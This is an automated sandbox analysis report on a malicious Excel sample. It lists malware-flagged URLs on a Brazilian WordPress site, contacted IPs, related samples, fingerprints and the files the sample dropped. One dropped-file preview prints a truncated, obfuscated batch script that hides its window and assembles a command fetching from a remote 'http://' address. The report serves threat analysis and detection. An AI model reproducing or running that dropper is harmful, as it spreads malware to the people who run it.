http://www.gnu.org/copyleft/gpl.html	mshta.exe, 0000000A.00000003.559230293.000000000C0FF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.558600093.000000000C0EF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.714121480.000000000C268000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564675315.000000000C266000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp, jplayer.playlist.min[1].js.10.dr	false		high
http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.cs	mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://wus2.contentsync.	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0veLMEM	mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0js1	mshta.exe, 0000000A.00000002.705082305.0000000006956000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.557484334.0000000006956000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/4.txtu_	mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0veLMEM	mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://o365auditrealtimeingestion.manage.office.com	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
https://vimeo.com/channels/:channel/:id	mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	false		high
https://khms0.google.com/kh?v=143	mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
https://clients.config.office.net/user/v1.0/android/policies	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers	js[2].js.10.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0js	mshta.exe, 0000000A.00000002.705082305.0000000006956000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.557484334.0000000006956000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0LMEM	mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0LMEM	mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.565643619.000000000C09C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2v	mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://s.w.org/images/core/emoji/11/svg/https://s.w.org/images/core/emoji/11/72x72/3	mshta.exe, 0000000A.00000002.706603004.0000000006C13000.00000004.00000800.00020000.00000000.sdmp	false		high
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3eC:	mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://facextrade.com.br/t	mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://substrate.office.com/search/api/v1/SearchHistory	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
http://daneden.me/animate	animate-logo[1].css.10.dr	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.	mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3s7	mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.4	mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://devnull.onenote.com	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
https://lh4.ggpht.com/	mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsmr	mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://khms1.google.com/kh?v=143	mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.11.207	netdna.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.238	www3.l.google.com	United States	15169	GOOGLEUS	false
187.45.240.69	facextrade.com.br	Brazil	27715	LocawebServicosdeInternetSABR	true

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	684680
Start date and time:	2022-08-16 11:43:12 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@13/88@4/5
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 97% Number of executed functions: 119 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xls Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 52.109.32.24, 52.109.76.35, 52.109.12.23, 142.251.36.10, 142.250.185.202, 172.217.16.195
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fonts.googleapis.com, fs.microsoft.com, prod-w.nexus.live.com.akadns.net, fonts.gstatic.com, prod.configsvc1.live.com.akadns.net, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, maps.googleapis.com, licensing.mp.microsoft.com, login.live.com, store-images.s-microsoft.com, config.officeapps.live.com, sls.update.microsoft.com, nexus.officeapps.live.com, displaycatalog.mp.microsoft.com, officeclient.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, europe.configsvc1.live.com.akadns.net
Execution Graph export aborted for target mshta.exe, PID 4036 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:44:59	API Interceptor	9x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.18.11.207	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	http://emfs.co.za/wp-content/uploads/emfs-popia-privacy-policy-final.pdf	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/4.0.1/css/font-awesome.css

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
gstaticadssl.l.google.com	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	172.217.16.195
	00187679526.xlsx	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	172.217.16.195
	00187679526.xlsx	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Browse	172.217.16.195
	https://ipfs.io/ipfs/QmfAndQD4wG6xZpoY4WWL48A9H5qKFYHayWXGx5CvY9zqW?filename=index.html#info@discoversaudi.sa	Get hash	malicious	Browse	172.217.16.195
	https://1drv.ms/o/s!BNQ8gxErh5UyqzXqmlklq3e6FqQy?e=zWDj8VlDB0yYeUjfLHMDHg&at=9	Get hash	malicious	Browse	172.217.16.195
facextrade.com.br	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.18991.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.16558.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.29868.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.23052.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.12175.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.9077.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.13262.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.15725.xls	Get hash	malicious	Browse	187.45.240.69

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	104.18.11.207
	ANFRAGE AUFTRAGSBEST#U00c4TIGUNG.exe	Get hash	malicious	Browse	162.159.134.233
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	104.18.10.207
	RECHNUNG99787383.exe	Get hash	malicious	Browse	1.1.1.1
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	104.18.11.207
	00187679526.xlsx	Get hash	malicious	Browse	172.67.74.85
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	104.18.10.207
	00187679526.xlsx	Get hash	malicious	Browse	172.67.74.85
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Trojan7000000f1.4274.exe	Get hash	malicious	Browse	162.159.129.233
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	104.18.11.207
LocawebServicosdeInternetSABR	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.18991.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.16558.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.29868.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.23052.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.12175.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.9077.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.13262.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.15725.xls	Get hash	malicious	Browse	187.45.240.69

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	142.250.181.238
	TRmUXzoTr4.exe	Get hash	malicious	Browse	142.250.181.238
	vFb25fV9r8.exe	Get hash	malicious	Browse	142.250.181.238
	Zdgmvfcqtfvafchobtmhsprgqnvazumhuq.exe	Get hash	malicious	Browse	142.250.181.238
	ANFRAGE AUFTRAGSBEST#U00c4TIGUNG.exe	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	142.250.181.238
	Order 90541#.docx	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.W32.AIDetect.malware2.21733.exe	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	142.250.181.238
	00187679526.xlsx	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Trojan7000000f1.4274.exe	Get hash	malicious	Browse	142.250.181.238
	DHL_227040 al#U0131nd#U0131 belgesi,pdf.exe	Get hash	malicious	Browse	142.250.181.238
	cs.bat	Get hash	malicious	Browse	142.250.181.238
	VThQPDycxy.bat	Get hash	malicious	Browse	142.250.181.238
	NextEra RFQ and Business Proposition.docx	Get hash	malicious	Browse	142.250.181.238
	92D5A9E906556A206749301D8CDEC4032B9FA5A8A30A8.exe	Get hash	malicious	Browse	142.250.181.238
	https://siasky.net/KAAceK5527HyhKBu2WqRItTIifnOrPzVEjPuMqlXUlKRBQ	Get hash	malicious	Browse	142.250.181.238
	FgHKF9V3FB.exe	Get hash	malicious	Browse	142.250.181.238
	https://issuu.com/file.pdf_17kb/docs/faxmail_delivery_hs0087g?fr=sY2E1MzUyODMyOTY	Get hash	malicious	Browse	142.250.181.238
	https://www.almarwahtanksuae.com/nu/#cm9kbmV5QHNraW1heC5jb20uYXU=	Get hash	malicious	Browse	142.250.181.238

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	4.492674933696318
Encrypted:	false
SSDEEP:	24:sj4MyluZiolTQP64K6o80dGo3ahMowo4oM2ocnhg:sj4R8
MD5:	20484F4A7D41C5F54A0DC7A7D35C2155
SHA1:	0B197C48D648BBDC131DCA6D4FB89903303372F9
SHA-256:	6DF10DD726CEF49360DF78C47651A311EA7BB21064FE77E019E223EF32776072
SHA-512:	94DF430C3890D5BA23618283EA6EAA6AA0C74D19C5E049F3CC4D65A464266CCC2EEFCCDB59D6464606200B2E51CDC9B57C2534C67ADED228D00A54D856C98591
Malicious:	true
Preview:	call getCmdPid.bat..set PID=%errorlevel%..call windowMode.bat -pid %PID% -mode hidden..cd C:\Users\Public..@echo off..Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D..cls..%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\DURNCK2N\facextrade.com[1].xml

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aKb:JFKb
MD5:	C1DDEA3EF6BBEF3E7060A1A9AD89E4C5
SHA1:	35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
SHA-256:	B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
SHA-512:	6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FED
Malicious:	false
Preview:	<root></root>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\FC60D9F5-5198-4923-B69D-E0983E74270D

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	148061
Entropy (8bit):	5.358161377670709
Encrypted:	false
SSDEEP:	1536:gcQW/gxgB5BQguwN/Q9DQe+zQTk4F77nXmvid3XxVETLKz61:T1Q9DQe+zuXYr
MD5:	E71FD928253F7862D586D2F93B96EE2A
SHA1:	1B059FBD2FBE290BB4DD08100D8071DE72D4DD1F
SHA-256:	F1DEB5E79FD914B12D5A41666040F4B90FA01A67383BFA52FE28FE921F903F97
SHA-512:	0E4A1230EB288EB7EBB8CA176094115CC4A41C0AA93EF6288BBE8A7C5820032E45D96A4BA203B5CF33C67B606269CC5F3552A633BF3C8A514533E79C3CB3643C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2022-08-16T09:44:26">.. Build: 16.0.15607.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\bootstrap[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	107397
Entropy (8bit):	5.243343101333427
Encrypted:	false
SSDEEP:	768:+coRowFmqeuii6OZLzAX+cSXgx7fLLgkhB5aErf:JoZ5vLPXgx7ngkjd
MD5:	FE45C97743C9CAEC6809D9F740D52D3E
SHA1:	CB69497E1935DE69862E92400478B75CD13E23BD
SHA-256:	55225FFA7E115D65C7E0F7A602A59CF5EE1D2F3C873F88381375A550B1B6B548
SHA-512:	9D36A695AD9DF51C63E820184DBD320D4B05700598F7CAC344C182F3D340FF20027C877BFA6F0FAE6EF717F236A6B5E4BF22286787B337D0F0B47F2BDD79693B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Preview:	article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }.audio, canvas, video {..display:inline-block;..display:inline;..zoom:1;.}.audio:not([controls]) { display:none; }.html {..font-size:100%;..-webkit-text-size-adjust:100%;..-ms-text-size-adjust:100%;.}.a:focus {..outline:thin dotted #333;..outline:5px auto -webkit-focus-ring-color;..outline-offset:-2px;.}.a:hover, a:active { outline:0; }.sub, sup {..position:relative;..font-size:75%;..line-height:0;..vertical-align:baseline;.}.sup { top:-0.5em; }.sub { bottom:-0.25em; }.img {..max-width:100%;..width:auto \9;..height:auto;..vertical-align:middle;..border:0;..-ms-interpolation-mode:bicubic;.}.#map_canvas img, .google-maps img { max-width:none; }.button, input, select, textarea {..margin:0;..font-size:100%;..vertical-align:middle;.}.button, input {..*overflow:visible;..line-height:normal;.}.button::-moz-focus-inner, input::-moz-focus-inner {..padding:0;..border:0;.}.button, html input[type

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\camera[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	26264
Entropy (8bit):	5.17784391797181
Encrypted:	false
SSDEEP:	192:D4Js/c+wkDZnVwkExwkBxN7ZDFBxJbtLwb/+luajba3RI4zQDaRzBBpCJyJUt:OeZnMRUCJyJUt
MD5:	4801E1D3D131C3628342CAACC406479D
